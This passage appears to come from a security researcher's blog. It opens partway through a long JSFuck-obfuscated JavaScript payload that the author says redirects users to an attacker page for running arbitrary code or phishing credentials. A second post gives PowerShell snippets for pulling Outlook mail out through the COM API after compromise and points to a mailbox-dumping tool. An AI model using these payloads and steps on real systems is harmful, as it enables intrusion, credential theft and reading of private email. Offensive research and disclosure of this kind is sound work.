])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()+[])[!+[]+!+[]+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+(!![]+[])[+!+[]]+([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+[!+[]+!+[]]+(+(!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(+(!+[]+!+[]+!+[]+[!+[]+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]])+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(![]+[])[!+[]+!+[]+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+[]]+![]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+([][[]]+[])[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]%3E

I ended up with payload that resulted in user redirection to my desired webpage where I could execute any JavaScript code I wanted or spoof the webpage to get credentials or other secrets via social engineering. Sometimes it is good to experiment with not so obvious techniques that once upon a time make themselves useful.

References:

http://www.jsfuck.com/

Email exfiltration via native Outlook API

Wed, 17 Mar 2021 10:00:00 +0000

Recently whole cybersecurity community was shocked by a newly disclosed Microsoft Exchange pre-auth vulnerability aka Proxylogon. This security flaw when chained with another SSRF vulnerability allow unauthenticated RCE on almost any outdated Exchange server. This resulted in many companies compromised and malware using this exploit as an entry point to be observed in the wild.

The client side

However, not only server side of Microsoft’s email exchange software is known to have interesting functionalities that can be exploited. In corporate environments it is not uncommon to have Outlook client application installed on employees computers - with user permanently authenticated. In this scenario we can utilize Outlook’s very powerful API that can be used to interact with email client almost if You would be using a desktop application.

In the first place we need to invoke the API by defining namespace using GetNameSpace() method. With this we will be able to interact with messages in the mailbox as if they were typical objects.

$outlook = New-Object -ComObject outlook.application
$olFolders ="Microsoft.Office.Interop.Outlook.OlDefaultFolders" -as [type]
$namespace = $Outlook.GetNameSpace("MAPI")

Next we can create an $inbox variable where we will be able to access the default Outlook folder (which usually is just “Inbox”).

$inbox = $namespace.GetDefaultFolder($olFolders::olFolderInbox)

With $inbox.items we can access all the objects (emails) in the default folder. If we are curious with how much data we are messing with we can call the count method.

$count = $inbox.items.count

A not so trivial matter

The question is how this can pose a threat to a user? Normally mailbox is a juicy target for a cybercriminal as it can contain passwords and confidential data. In a scenario where a malicious user gets a remote powershell session with our machine (i.e. as a result of evil payload in document macro), he is able to access our emails via this API.

Usually this task is much easier and boils down to retrieving the OST (Offline Outlook Data File) database of our mailbox, which by default is unencrypted (!). However, if the user has Outlook client configured properly and has offline mode disabled or the file is locked by Outlook process it is impossible to read the contents of the file. But someone in Microsoft already thought of this danger and when You try to interact with the API the users on the remote machine will be suprised by the following alert message.

However the pop-up never mentions the possibility of someone stealing our data. It only instructs us to “Deny” and update our antivirus. Very often if an employee is surprised by such an alert he will click “Allow” thus leaving his mailbox wide open for us.

Get-OutlookDump

As a proof-of-concept for using Outlook API in the pillaging stage I created a Get-OutlookDump cmdlet that can be used to search mailbox content for passwords and other keywords. It can be also used to dump the whole inbox by piping its output to a file. Below You can find an example post-exploitation process with this tool.

The script can be found on my Github.

References:

https://docs.microsoft.com/en-us/archive/msdn-magazine/2013/march/powershell-managing-an-outlook-mailbox-with-powershell
https://github.com/MicrosoftDocs/windows-itpro-docs/issues/6172
https://support.microsoft.com/en-us/office/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790
https://github.com/redfr0g/Get-OutlookDump/